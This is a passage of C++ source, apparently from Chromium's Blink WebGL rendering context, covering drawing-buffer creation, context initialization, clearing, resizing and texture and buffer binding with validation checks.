.disabled_webgl_extensions.c_str()); Vector disabled_extension_list; disabled_webgl_extensions.Split(' ', disabled_extension_list); for (const auto& entry : disabled_extension_list) { disabled_extensions_.insert(entry); } #define ADD_VALUES_TO_SET(set, values) \ for (size_t i = 0; i < base::size(values); ++i) { \ set.insert(values[i]); \ } ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedFormatsES2); ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_, kSupportedFormatsES2); ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_, kSupportedFormatsES2); ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsES2); ADD_VALUES_TO_SET(supported_tex_image_source_formats_, kSupportedFormatsES2); ADD_VALUES_TO_SET(supported_types_, kSupportedTypesES2); ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesES2); } scoped_refptr WebGLRenderingContextBase::CreateDrawingBuffer( std::unique_ptr context_provider, bool using_gpu_compositing) { const CanvasContextCreationAttributesCore& attrs = CreationAttributes(); bool premultiplied_alpha = attrs.premultiplied_alpha; bool want_alpha_channel = attrs.alpha; bool want_depth_buffer = attrs.depth; bool want_stencil_buffer = attrs.stencil; bool want_antialiasing = attrs.antialias; DrawingBuffer::PreserveDrawingBuffer preserve = attrs.preserve_drawing_buffer ? DrawingBuffer::kPreserve : DrawingBuffer::kDiscard; DrawingBuffer::WebGLVersion web_gl_version = DrawingBuffer::kWebGL1; if (context_type_ == Platform::kWebGL1ContextType) { web_gl_version = DrawingBuffer::kWebGL1; } else if (context_type_ == Platform::kWebGL2ContextType) { web_gl_version = DrawingBuffer::kWebGL2; } else if (context_type_ == Platform::kWebGL2ComputeContextType) { web_gl_version = DrawingBuffer::kWebGL2Compute; } else { NOTREACHED(); } // On Mac OS, DrawingBuffer is using an IOSurface as its backing storage, this // allows WebGL-rendered canvases to be composited by the OS rather than // Chrome. // IOSurfaces are only compatible with the GL_TEXTURE_RECTANGLE_ARB binding // target. So to avoid the knowledge of GL_TEXTURE_RECTANGLE_ARB type textures // being introduced into more areas of the code, we use the code path of // non-WebGLImageChromium for OffscreenCanvas. // See detailed discussion in crbug.com/649668. DrawingBuffer::ChromiumImageUsage chromium_image_usage = Host()->IsOffscreenCanvas() ? DrawingBuffer::kDisallowChromiumImage : DrawingBuffer::kAllowChromiumImage; bool using_swap_chain = base::FeatureList::IsEnabled(features::kLowLatencyWebGLSwapChain) && context_provider->GetCapabilities().shared_image_swap_chain && attrs.desynchronized; return DrawingBuffer::Create( std::move(context_provider), using_gpu_compositing, using_swap_chain, this, ClampedCanvasSize(), premultiplied_alpha, want_alpha_channel, want_depth_buffer, want_stencil_buffer, want_antialiasing, preserve, web_gl_version, chromium_image_usage, ColorParams(), PowerPreferenceToGpuPreference(attrs.power_preference)); } void WebGLRenderingContextBase::InitializeNewContext() { DCHECK(!isContextLost()); DCHECK(GetDrawingBuffer()); // TODO(http://crbug.com/876140) Does compatible_xr_device needs to be taken // into account here? marked_canvas_dirty_ = false; must_paint_to_canvas_ = false; active_texture_unit_ = 0; pack_alignment_ = 4; unpack_alignment_ = 4; unpack_flip_y_ = false; unpack_premultiply_alpha_ = false; unpack_colorspace_conversion_ = GC3D_BROWSER_DEFAULT_WEBGL; bound_array_buffer_ = nullptr; current_program_ = nullptr; framebuffer_binding_ = nullptr; renderbuffer_binding_ = nullptr; depth_mask_ = true; stencil_enabled_ = false; stencil_mask_ = 0xFFFFFFFF; stencil_mask_back_ = 0xFFFFFFFF; stencil_func_ref_ = 0; stencil_func_ref_back_ = 0; stencil_func_mask_ = 0xFFFFFFFF; stencil_func_mask_back_ = 0xFFFFFFFF; num_gl_errors_to_console_allowed_ = kMaxGLErrorsAllowedToConsole; clear_color_[0] = clear_color_[1] = clear_color_[2] = clear_color_[3] = 0; scissor_enabled_ = false; clear_depth_ = 1; clear_stencil_ = 0; color_mask_[0] = color_mask_[1] = color_mask_[2] = color_mask_[3] = true; GLint num_combined_texture_image_units = 0; ContextGL()->GetIntegerv(GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS, &num_combined_texture_image_units); texture_units_.clear(); texture_units_.resize(num_combined_texture_image_units); GLint num_vertex_attribs = 0; ContextGL()->GetIntegerv(GL_MAX_VERTEX_ATTRIBS, &num_vertex_attribs); max_vertex_attribs_ = num_vertex_attribs; max_texture_size_ = 0; ContextGL()->GetIntegerv(GL_MAX_TEXTURE_SIZE, &max_texture_size_); max_texture_level_ = WebGLTexture::ComputeLevelCount(max_texture_size_, max_texture_size_, 1); max_cube_map_texture_size_ = 0; ContextGL()->GetIntegerv(GL_MAX_CUBE_MAP_TEXTURE_SIZE, &max_cube_map_texture_size_); max3d_texture_size_ = 0; max3d_texture_level_ = 0; max_array_texture_layers_ = 0; if (IsWebGL2OrHigher()) { ContextGL()->GetIntegerv(GL_MAX_3D_TEXTURE_SIZE, &max3d_texture_size_); max3d_texture_level_ = WebGLTexture::ComputeLevelCount( max3d_texture_size_, max3d_texture_size_, max3d_texture_size_); ContextGL()->GetIntegerv(GL_MAX_ARRAY_TEXTURE_LAYERS, &max_array_texture_layers_); } max_cube_map_texture_level_ = WebGLTexture::ComputeLevelCount( max_cube_map_texture_size_, max_cube_map_texture_size_, 1); max_renderbuffer_size_ = 0; ContextGL()->GetIntegerv(GL_MAX_RENDERBUFFER_SIZE, &max_renderbuffer_size_); // These two values from EXT_draw_buffers are lazily queried. max_draw_buffers_ = 0; max_color_attachments_ = 0; back_draw_buffer_ = GL_BACK; read_buffer_of_default_framebuffer_ = GL_BACK; default_vertex_array_object_ = MakeGarbageCollected( this, WebGLVertexArrayObjectBase::kVaoTypeDefault); bound_vertex_array_object_ = default_vertex_array_object_; vertex_attrib_type_.resize(max_vertex_attribs_); ContextGL()->Viewport(0, 0, drawingBufferWidth(), drawingBufferHeight()); scissor_box_[0] = scissor_box_[1] = 0; scissor_box_[2] = drawingBufferWidth(); scissor_box_[3] = drawingBufferHeight(); ContextGL()->Scissor(scissor_box_[0], scissor_box_[1], scissor_box_[2], scissor_box_[3]); GetDrawingBuffer()->ContextProvider()->SetLostContextCallback( WTF::BindRepeating(&WebGLRenderingContextBase::ForceLostContext, WrapWeakPersistent(this), WebGLRenderingContextBase::kRealLostContext, WebGLRenderingContextBase::kAuto)); GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback( WTF::BindRepeating(&WebGLRenderingContextBase::OnErrorMessage, WrapWeakPersistent(this))); // If the context has the flip_y extension, it will behave as having the // origin of coordinates on the top left. is_origin_top_left_ = GetDrawingBuffer() ->ContextProvider() ->GetCapabilities() .mesa_framebuffer_flip_y; // If WebGL 2, the PRIMITIVE_RESTART_FIXED_INDEX should be always enabled. // See the section in WebGL 2 spec: // https://www.khronos.org/registry/webgl/specs/latest/2.0/#4.1.4 if (IsWebGL2OrHigher()) ContextGL()->Enable(GL_PRIMITIVE_RESTART_FIXED_INDEX); // This ensures that the context has a valid "lastFlushID" and won't be // mistakenly identified as the "least recently used" context. ContextGL()->Flush(); for (int i = 0; i < kWebGLExtensionNameCount; ++i) extension_enabled_[i] = false; // This limits the count of threads if the extension is yet to be requested. if (String(ContextGL()->GetString(GL_EXTENSIONS)) .Contains("GL_KHR_parallel_shader_compile")) { ContextGL()->MaxShaderCompilerThreadsKHR(2); } is_web_gl2_formats_types_added_ = false; is_web_gl2_tex_image_source_formats_types_added_ = false; is_web_gl2_internal_formats_copy_tex_image_added_ = false; is_oes_texture_float_formats_types_added_ = false; is_oes_texture_half_float_formats_types_added_ = false; is_web_gl_depth_texture_formats_types_added_ = false; is_ext_srgb_formats_types_added_ = false; is_ext_color_buffer_float_formats_added_ = false; is_ext_texture_norm16_added_ = false; supported_internal_formats_.clear(); ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedFormatsES2); supported_tex_image_source_internal_formats_.clear(); ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_, kSupportedFormatsES2); supported_internal_formats_copy_tex_image_.clear(); ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_, kSupportedFormatsES2); supported_formats_.clear(); ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsES2); supported_tex_image_source_formats_.clear(); ADD_VALUES_TO_SET(supported_tex_image_source_formats_, kSupportedFormatsES2); supported_types_.clear(); ADD_VALUES_TO_SET(supported_types_, kSupportedTypesES2); supported_tex_image_source_types_.clear(); ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesES2); number_of_user_allocated_multisampled_renderbuffers_ = 0; // The DrawingBuffer was unable to store the state that dirtied when it was // initialized. Restore it now. GetDrawingBuffer()->RestoreAllState(); ActivateContext(this); } void WebGLRenderingContextBase::SetupFlags() { DCHECK(GetDrawingBuffer()); if (canvas()) { synthesized_errors_to_console_ = canvas()->GetDocument().GetSettings()->GetWebGLErrorsToConsoleEnabled(); } is_depth_stencil_supported_ = ExtensionsUtil()->IsExtensionEnabled("GL_OES_packed_depth_stencil"); } void WebGLRenderingContextBase::AddCompressedTextureFormat(GLenum format) { if (!compressed_texture_formats_.Contains(format)) compressed_texture_formats_.push_back(format); } void WebGLRenderingContextBase::RemoveAllCompressedTextureFormats() { compressed_texture_formats_.clear(); } // Helper function for V8 bindings to identify what version of WebGL a // CanvasRenderingContext supports. unsigned WebGLRenderingContextBase::GetWebGLVersion( const CanvasRenderingContext* context) { if (!context->Is3d()) return 0; return static_cast(context)->ContextType(); } WebGLRenderingContextBase::~WebGLRenderingContextBase() { // It's forbidden to refer to other GC'd objects in a GC'd object's // destructor. It's useful for DrawingBuffer to guarantee that it // calls its DrawingBufferClient during its own destruction, but if // the WebGL context is also being destroyed, then it's essential // that the DrawingBufferClient methods not try to touch other // objects like WebGLTextures that were previously hooked into the // context state. destruction_in_progress_ = true; // Now that the context and context group no longer hold on to the // objects they create, and now that the objects are eagerly finalized // rather than the context, there is very little useful work that this // destructor can do, since it's not allowed to touch other on-heap // objects. All it can do is destroy its underlying context, which, if // there are no other contexts in the same share group, will cause all of // the underlying graphics resources to be deleted. (Currently, it's // always the case that there are no other contexts in the same share // group -- resource sharing between WebGL contexts is not yet // implemented, and due to its complex semantics, it's doubtful that it // ever will be.) DestroyContext(); // Now that this context is destroyed, see if there's a // previously-evicted one that should be restored. RestoreEvictedContext(this); } void WebGLRenderingContextBase::DestroyContext() { if (!GetDrawingBuffer()) return; clearProgramCompletionQueries(); extensions_util_.reset(); base::RepeatingClosure null_closure; base::RepeatingCallback null_function; GetDrawingBuffer()->ContextProvider()->SetLostContextCallback( std::move(null_closure)); GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback( std::move(null_function)); DCHECK(GetDrawingBuffer()); drawing_buffer_->BeginDestruction(); drawing_buffer_ = nullptr; } void WebGLRenderingContextBase::MarkContextChanged( ContentChangeType change_type) { if (isContextLost()) return; if (framebuffer_binding_) { framebuffer_binding_->SetContentsChanged(true); return; } // Regardless of whether dirty propagations are optimized away, the back // buffer is now out of sync with respect to the canvas's internal backing // store -- which is only used for certain purposes, like printing. must_paint_to_canvas_ = true; if (!GetDrawingBuffer()->MarkContentsChanged() && marked_canvas_dirty_) { return; } if (Host()->IsOffscreenCanvas()) { marked_canvas_dirty_ = true; DidDraw(); return; } if (!canvas()) return; if (!marked_canvas_dirty_) { marked_canvas_dirty_ = true; LayoutBox* layout_box = canvas()->GetLayoutBox(); auto* settings = canvas()->GetDocument().GetSettings(); if (layout_box && settings->GetAcceleratedCompositingEnabled()) layout_box->ContentChanged(change_type); IntSize canvas_size = ClampedCanvasSize(); DidDraw(SkIRect::MakeXYWH(0, 0, canvas_size.Width(), canvas_size.Height())); } } scoped_refptr WebGLRenderingContextBase::GetContextTaskRunner() { return task_runner_; } void WebGLRenderingContextBase::DidDraw(const SkIRect& dirty_rect) { MarkContextChanged(kCanvasChanged); CanvasRenderingContext::DidDraw(dirty_rect); } void WebGLRenderingContextBase::DidDraw() { MarkContextChanged(kCanvasChanged); CanvasRenderingContext::DidDraw(); } bool WebGLRenderingContextBase::PushFrame() { int width = GetDrawingBuffer()->Size().Width(); int height = GetDrawingBuffer()->Size().Height(); int submitted_frame = false; if (PaintRenderingResultsToCanvas(kBackBuffer)) { if (Host()->GetOrCreateCanvasResourceProvider(kPreferAcceleration)) { submitted_frame = Host()->PushFrame(Host()->ResourceProvider()->ProduceCanvasResource(), SkIRect::MakeWH(width, height)); } } MarkLayerComposited(); return submitted_frame; } void WebGLRenderingContextBase::FinalizeFrame() { if (Host()->LowLatencyEnabled()) { // PaintRenderingResultsToCanvas will export drawing buffer if the resource // provider is single buffered. Otherwise it will copy the drawing buffer. PaintRenderingResultsToCanvas(kBackBuffer); } marked_canvas_dirty_ = false; } void WebGLRenderingContextBase::OnErrorMessage(const char* message, int32_t id) { if (synthesized_errors_to_console_) PrintGLErrorToConsole(message); probe::DidFireWebGLErrorOrWarning(canvas(), message); } WebGLRenderingContextBase::HowToClear WebGLRenderingContextBase::ClearIfComposited(GLbitfield mask) { if (isContextLost()) return kSkipped; GLbitfield buffers_needing_clearing = GetDrawingBuffer()->GetBuffersToAutoClear(); if (buffers_needing_clearing == 0 || (mask && framebuffer_binding_)) return kSkipped; WebGLContextAttributes* context_attributes = getContextAttributes(); if (!context_attributes) { // Unlikely, but context was lost. return kSkipped; } // Determine if it's possible to combine the clear the user asked for and this // clear. bool combined_clear = mask && !scissor_enabled_; ContextGL()->Disable(GL_SCISSOR_TEST); if (combined_clear && (mask & GL_COLOR_BUFFER_BIT)) { ContextGL()->ClearColor(color_mask_[0] ? clear_color_[0] : 0, color_mask_[1] ? clear_color_[1] : 0, color_mask_[2] ? clear_color_[2] : 0, color_mask_[3] ? clear_color_[3] : 0); } else { ContextGL()->ClearColor(0, 0, 0, 0); } ContextGL()->ColorMask( true, true, true, !GetDrawingBuffer()->RequiresAlphaChannelToBePreserved()); GLbitfield clear_mask = GL_COLOR_BUFFER_BIT; if (context_attributes->depth()) { if (!combined_clear || !depth_mask_ || !(mask & GL_DEPTH_BUFFER_BIT)) ContextGL()->ClearDepthf(1.0f); clear_mask |= GL_DEPTH_BUFFER_BIT; ContextGL()->DepthMask(true); } if (context_attributes->stencil() || GetDrawingBuffer()->HasImplicitStencilBuffer()) { if (combined_clear && (mask & GL_STENCIL_BUFFER_BIT)) ContextGL()->ClearStencil(clear_stencil_ & stencil_mask_); else ContextGL()->ClearStencil(0); clear_mask |= GL_STENCIL_BUFFER_BIT; ContextGL()->StencilMaskSeparate(GL_FRONT, 0xFFFFFFFF); } ContextGL()->ColorMask( true, true, true, !GetDrawingBuffer()->DefaultBufferRequiresAlphaChannelToBePreserved()); // If the WebGL 2.0 clearBuffer APIs already have been used to // selectively clear some of the buffers, don't destroy those // results. GetDrawingBuffer()->ClearFramebuffers(clear_mask & buffers_needing_clearing); // Call the DrawingBufferClient method to restore scissor test, mask, and // clear values, because we dirtied them above. DrawingBufferClientRestoreScissorTest(); DrawingBufferClientRestoreMaskAndClearValues(); GetDrawingBuffer()->SetBuffersToAutoClear(0); return combined_clear ? kCombinedClear : kJustClear; } void WebGLRenderingContextBase::RestoreScissorEnabled() { if (isContextLost()) return; if (scissor_enabled_) { ContextGL()->Enable(GL_SCISSOR_TEST); } else { ContextGL()->Disable(GL_SCISSOR_TEST); } } void WebGLRenderingContextBase::RestoreScissorBox() { if (isContextLost()) return; ContextGL()->Scissor(scissor_box_[0], scissor_box_[1], scissor_box_[2], scissor_box_[3]); } void WebGLRenderingContextBase::RestoreClearColor() { if (isContextLost()) return; ContextGL()->ClearColor(clear_color_[0], clear_color_[1], clear_color_[2], clear_color_[3]); } void WebGLRenderingContextBase::RestoreColorMask() { if (isContextLost()) return; ContextGL()->ColorMask(color_mask_[0], color_mask_[1], color_mask_[2], color_mask_[3]); } void WebGLRenderingContextBase::MarkLayerComposited() { if (!isContextLost()) GetDrawingBuffer()->ResetBuffersToAutoClear(); } bool WebGLRenderingContextBase::UsingSwapChain() const { return GetDrawingBuffer() && GetDrawingBuffer()->UsingSwapChain(); } bool WebGLRenderingContextBase::IsOriginTopLeft() const { if (isContextLost()) return false; return is_origin_top_left_; } void WebGLRenderingContextBase::SetIsInHiddenPage(bool hidden) { is_hidden_ = hidden; if (GetDrawingBuffer()) GetDrawingBuffer()->SetIsInHiddenPage(hidden); if (!hidden && isContextLost() && restore_allowed_ && auto_recovery_method_ == kAuto) { DCHECK(!restore_timer_.IsActive()); restore_timer_.StartOneShot(base::TimeDelta(), FROM_HERE); } } bool WebGLRenderingContextBase::PaintRenderingResultsToCanvas( SourceDrawingBuffer source_buffer) { if (isContextLost() || !GetDrawingBuffer()) return false; bool must_clear_now = ClearIfComposited() != kSkipped; if (!must_paint_to_canvas_ && !must_clear_now) return false; must_paint_to_canvas_ = false; if (Host()->ResourceProvider() && Host()->ResourceProvider()->Size() != GetDrawingBuffer()->Size()) { Host()->DiscardResourceProvider(); } CanvasResourceProvider* resource_provider = Host()->GetOrCreateCanvasResourceProvider(kPreferAcceleration); if (!resource_provider) return false; if (Host()->LowLatencyEnabled() && resource_provider->SupportsSingleBuffering()) { // It's possible single buffering isn't enabled yet because we haven't // finished the first frame e.g. this gets called first due to drawImage. resource_provider->TryEnableSingleBuffering(); DCHECK(resource_provider->IsSingleBuffered()); // Single buffered passthrough resource provider doesn't have backing // texture. We need to export the backbuffer mailbox directly without // copying. if (!resource_provider->ImportResource(GetDrawingBuffer()->AsCanvasResource( resource_provider->CreateWeakPtr()))) { // This isn't expected to fail for single buffered resource provider. NOTREACHED(); return false; } return true; } ScopedTexture2DRestorer restorer(this); ScopedFramebufferRestorer fbo_restorer(this); GetDrawingBuffer()->ResolveAndBindForReadAndDraw(); if (!CopyRenderingResultsFromDrawingBuffer(Host()->ResourceProvider(), source_buffer)) { // Currently, CopyRenderingResultsFromDrawingBuffer is expected to always // succeed because cases where canvas()-buffer() is not accelerated are // handled before reaching this point. If that assumption ever stops // holding true, we may need to implement a fallback right here. NOTREACHED(); return false; } return true; } bool WebGLRenderingContextBase::ContextCreatedOnXRCompatibleAdapter() { // TODO(http://crbug.com/876140) Determine if device is compatible with // current context. return true; } bool WebGLRenderingContextBase::CopyRenderingResultsFromDrawingBuffer( CanvasResourceProvider* resource_provider, SourceDrawingBuffer source_buffer) { DCHECK(drawing_buffer_); DCHECK(resource_provider); DCHECK(!resource_provider->IsSingleBuffered()); if (resource_provider->IsAccelerated()) { base::WeakPtr shared_context_wrapper = SharedGpuContext::ContextProviderWrapper(); if (!shared_context_wrapper || !shared_context_wrapper->ContextProvider()) return false; gpu::raster::RasterInterface* raster_interface = shared_context_wrapper->ContextProvider()->RasterInterface(); const gpu::Mailbox& mailbox = resource_provider->GetBackingMailboxForOverwrite( MailboxSyncMode::kOrderingBarrier); GLenum texture_target = resource_provider->GetBackingTextureTarget(); if (mailbox.IsZero()) return false; // TODO(xlai): Flush should not be necessary if the synchronization in // CopyToPlatformTexture is done correctly. See crbug.com/794706. raster_interface->Flush(); bool flip_y = IsOriginTopLeft() != resource_provider->IsOriginTopLeft(); return drawing_buffer_->CopyToPlatformMailbox( raster_interface, mailbox, texture_target, flip_y, IntPoint(0, 0), IntRect(IntPoint(0, 0), drawing_buffer_->Size()), source_buffer); } // Note: This code path could work for all cases. The only reason there // is a separate path for the accelerated case is that we assume texture // copying is faster than drawImage. scoped_refptr image = GetImage(kPreferAcceleration); if (!image || !image->PaintImageForCurrentFrame()) return false; cc::PaintFlags paint_flags; paint_flags.setBlendMode(SkBlendMode::kSrc); resource_provider->Canvas()->drawImage(image->PaintImageForCurrentFrame(), 0, 0, &paint_flags); return true; } IntSize WebGLRenderingContextBase::DrawingBufferSize() const { if (isContextLost()) return IntSize(0, 0); return GetDrawingBuffer()->Size(); } sk_sp WebGLRenderingContextBase::PaintRenderingResultsToDataArray( SourceDrawingBuffer source_buffer) { if (isContextLost()) return nullptr; ClearIfComposited(); GetDrawingBuffer()->ResolveAndBindForReadAndDraw(); ScopedFramebufferRestorer restorer(this); return GetDrawingBuffer()->PaintRenderingResultsToDataArray(source_buffer); } void WebGLRenderingContextBase::Reshape(int width, int height) { if (isContextLost()) return; GLint buffer = 0; if (IsWebGL2OrHigher()) { // This query returns client side cached binding, so it's trivial. // If it changes in the future, such query is heavy and should be avoided. ContextGL()->GetIntegerv(GL_PIXEL_UNPACK_BUFFER_BINDING, &buffer); if (buffer) { ContextGL()->BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); } } // This is an approximation because at WebGLRenderingContextBase level we // don't know if the underlying FBO uses textures or renderbuffers. GLint max_size = std::min(max_texture_size_, max_renderbuffer_size_); GLint max_width = std::min(max_size, max_viewport_dims_[0]); GLint max_height = std::min(max_size, max_viewport_dims_[1]); width = Clamp(width, 1, max_width); height = Clamp(height, 1, max_height); // Limit drawing buffer area to the resolution of an 8K monitor to avoid // memory exhaustion. Width or height may be larger than that size as long as // it's within the max viewport dimensions and total area remains within the // limit. For example: 7680x4320 should be fine. const int kMaxArea = 5760 * 5760; int current_area = width * height; if (current_area > kMaxArea) { // If we've exceeded the area limit scale the buffer down, preserving // ascpect ratio, until it fits. float scale_factor = sqrtf(static_cast(kMaxArea) / static_cast(current_area)); width = std::max(1, static_cast(width * scale_factor)); height = std::max(1, static_cast(height * scale_factor)); } // We don't have to mark the canvas as dirty, since the newly created image // buffer will also start off clear (and this matches what reshape will do). GetDrawingBuffer()->Resize(IntSize(width, height)); if (buffer) { ContextGL()->BindBuffer(GL_PIXEL_UNPACK_BUFFER, static_cast(buffer)); } } int WebGLRenderingContextBase::drawingBufferWidth() const { return isContextLost() ? 0 : GetDrawingBuffer()->Size().Width(); } int WebGLRenderingContextBase::drawingBufferHeight() const { return isContextLost() ? 0 : GetDrawingBuffer()->Size().Height(); } void WebGLRenderingContextBase::activeTexture(GLenum texture) { if (isContextLost()) return; if (texture - GL_TEXTURE0 >= texture_units_.size()) { SynthesizeGLError(GL_INVALID_ENUM, "activeTexture", "texture unit out of range"); return; } active_texture_unit_ = texture - GL_TEXTURE0; ContextGL()->ActiveTexture(texture); } void WebGLRenderingContextBase::attachShader(WebGLProgram* program, WebGLShader* shader) { if (!ValidateWebGLProgramOrShader("attachShader", program) || !ValidateWebGLProgramOrShader("attachShader", shader)) return; if (!program->AttachShader(shader)) { SynthesizeGLError(GL_INVALID_OPERATION, "attachShader", "shader attachment already has shader"); return; } ContextGL()->AttachShader(ObjectOrZero(program), ObjectOrZero(shader)); shader->OnAttached(); } void WebGLRenderingContextBase::bindAttribLocation(WebGLProgram* program, GLuint index, const String& name) { if (!ValidateWebGLObject("bindAttribLocation", program)) return; if (!ValidateLocationLength("bindAttribLocation", name)) return; if (IsPrefixReserved(name)) { SynthesizeGLError(GL_INVALID_OPERATION, "bindAttribLocation", "reserved prefix"); return; } ContextGL()->BindAttribLocation(ObjectOrZero(program), index, name.Utf8().c_str()); } bool WebGLRenderingContextBase::ValidateAndUpdateBufferBindTarget( const char* function_name, GLenum target, WebGLBuffer* buffer) { if (!ValidateBufferTarget(function_name, target)) return false; if (buffer && buffer->GetInitialTarget() && buffer->GetInitialTarget() != target) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "buffers can not be used with multiple targets"); return false; } switch (target) { case GL_ARRAY_BUFFER: bound_array_buffer_ = buffer; break; case GL_ELEMENT_ARRAY_BUFFER: bound_vertex_array_object_->SetElementArrayBuffer(buffer); break; default: NOTREACHED(); return false; } if (buffer && !buffer->GetInitialTarget()) buffer->SetInitialTarget(target); return true; } void WebGLRenderingContextBase::bindBuffer(GLenum target, WebGLBuffer* buffer) { if (!ValidateNullableWebGLObject("bindBuffer", buffer)) return; if (!ValidateAndUpdateBufferBindTarget("bindBuffer", target, buffer)) return; ContextGL()->BindBuffer(target, ObjectOrZero(buffer)); } void WebGLRenderingContextBase::bindFramebuffer(GLenum target, WebGLFramebuffer* buffer) { if (!ValidateNullableWebGLObject("bindFramebuffer", buffer)) return; if (target != GL_FRAMEBUFFER) { SynthesizeGLError(GL_INVALID_ENUM, "bindFramebuffer", "invalid target"); return; } SetFramebuffer(target, buffer); } void WebGLRenderingContextBase::bindRenderbuffer( GLenum target, WebGLRenderbuffer* render_buffer) { if (!ValidateNullableWebGLObject("bindRenderbuffer", render_buffer)) return; if (target != GL_RENDERBUFFER) { SynthesizeGLError(GL_INVALID_ENUM, "bindRenderbuffer", "invalid target"); return; } renderbuffer_binding_ = render_buffer; ContextGL()->BindRenderbuffer(target, ObjectOrZero(render_buffer)); if (render_buffer) render_buffer->SetHasEverBeenBound(); } void WebGLRenderingContextBase::bindTexture(GLenum target, WebGLTexture* texture) { if (!ValidateNullableWebGLObject("bindTexture", texture)) return; if (texture && texture->GetTarget() && texture->GetTarget() != target) { SynthesizeGLError(GL_INVALID_OPERATION, "bindTexture", "textures can not be used with multiple targets"); return; } if (target == GL_TEXTURE_2D) { texture_units_[active_texture_unit_].texture2d_binding_ = texture; } else if (target == GL_TEXTURE_CUBE_MAP) { texture_units_[active_texture_unit_].texture_cube_map_binding_ = texture; } else if (IsWebGL2OrHigher() && target == GL_TEXTURE_2D_ARRAY) { texture_units_[active_texture_unit_].texture2d_array_binding_ = texture; } else if (IsWebGL2OrHigher() && target == GL_TEXTURE_3D) { texture_units_[active_texture_unit_].texture3d_binding_ = texture; } else if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) { if (!ExtensionEnabled(kWebGLVideoTextureName)) { SynthesizeGLError( GL_INVALID_VALUE, "bindTexture", "unhandled type, WEBGL_video_texture extension not enabled"); return; } texture_units_[active_texture_unit_].texture_video_image_binding_ = texture; } else { SynthesizeGLError(GL_INVALID_ENUM, "bindTexture", "invalid target"); return; } // We use TEXTURE_EXTERNAL_OES to implement video texture on Android platform if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) { #if defined(OS_ANDROID) // TODO(crbug.com/776222): Support extension on Android NOTIMPLEMENTED(); return; #else // TODO(crbug.com/776222): Using GL_TEXTURE_VIDEO_IMAGE_WEBGL in blink ContextGL()->BindTexture(GL_TEXTURE_2D, ObjectOrZero(texture)); if (texture && !texture->GetTarget()) { ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); } #endif // defined OS_ANDROID } else { ContextGL()->BindTexture(target, ObjectOrZero(texture)); } if (texture) { texture->SetTarget(target); one_plus_max_non_default_texture_unit_ = max(active_texture_unit_ + 1, one_plus_max_non_default_texture_unit_); } else { // If the disabled index is the current maximum, trace backwards to find the // new max enabled texture index if (one_plus_max_non_default_texture_unit_ == active_texture_unit_ + 1) { FindNewMaxNonDefaultTextureUnit(); } } // Note: previously we used to automatically set the TEXTURE_WRAP_R // repeat mode to CLAMP_TO_EDGE for cube map textures, because OpenGL // ES 2.0 doesn't expose this flag (a bug in the specification) and // otherwise the application has no control over the seams in this // dimension. However, it appears that supporting this properly on all // platforms is fairly involved (will require a HashMap from texture ID // in all ports), and we have not had any complaints, so the logic has // been removed. } void WebGLRenderingContextBase::blendColor(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha) { if (isContextLost()) return; ContextGL()->BlendColor(red, green, blue, alpha); } void WebGLRenderingContextBase::blendEquation(GLenum mode) { if (isContextLost() || !ValidateBlendEquation("blendEquation", mode)) return; ContextGL()->BlendEquation(mode); } void WebGLRenderingContextBase::blendEquationSeparate(GLenum mode_rgb, GLenum mode_alpha) { if (isContextLost() || !ValidateBlendEquation("blendEquationSeparate", mode_rgb) || !ValidateBlendEquation("blendEquationSeparate", mode_alpha)) return; ContextGL()->BlendEquationSeparate(mode_rgb, mode_alpha); } void WebGLRenderingContextBase::blendFunc(GLenum sfactor, GLenum dfactor) { if (isContextLost() || !ValidateBlendFuncFactors("blendFunc", sfactor, dfactor)) return; ContextGL()->BlendFunc(sfactor, dfactor); } void WebGLRenderingContextBase::blendFuncSeparate(GLenum src_rgb, GLenum dst_rgb, GLenum src_alpha, GLenum dst_alpha) { // Note: Alpha does not have the same restrictions as RGB. if (isContextLost() || !ValidateBlendFuncFactors("blendFuncSeparate", src_rgb, dst_rgb)) return; ContextGL()->BlendFuncSeparate(src_rgb, dst_rgb, src_alpha, dst_alpha); } void WebGLRenderingContextBase::BufferDataImpl(GLenum target, int64_t size, const void* data, GLenum usage) { WebGLBuffer* buffer = ValidateBufferDataTarget("bufferData", target); if (!buffer) return; if (!ValidateBufferDataUsage("bufferData", usage)) return; if (!ValidateValueFitNonNegInt32("bufferData", "size", size)) return; buffer->SetSize(size); ContextGL()->BufferData(target, static_cast(size), data, usage); } void WebGLRenderingContextBase::bufferData(GLenum target, int64_t size, GLenum usage) { if (isContextLost()) return; BufferDataImpl(target, size, nullptr, usage); } void WebGLRenderingContextBase::bufferData(GLenum target, DOMArrayBuffer* data, GLenum usage) { if (isContextLost()) return; if (!data) { SynthesizeGLError(GL_INVALID_VALUE, "bufferData", "no data"); return; } BufferDataImpl(target, data->ByteLengthAsSizeT(), data->Data(), usage); } void WebGLRenderingContextBase::bufferData(GLenum target, MaybeShared data, GLenum usage) { if (isContextLost()) return; DCHECK(data); BufferDataImpl(target, data.View()->byteLengthAsSizeT(), data.View()->BaseAddressMaybeShared(), usage); } void WebGLRenderingContextBase::BufferSubDataImpl(GLenum target, int64_t offset, GLsizeiptr size, const void* data) { WebGLBuffer* buffer = ValidateBufferDataTarget("bufferSubData", target); if (!buffer) return; if 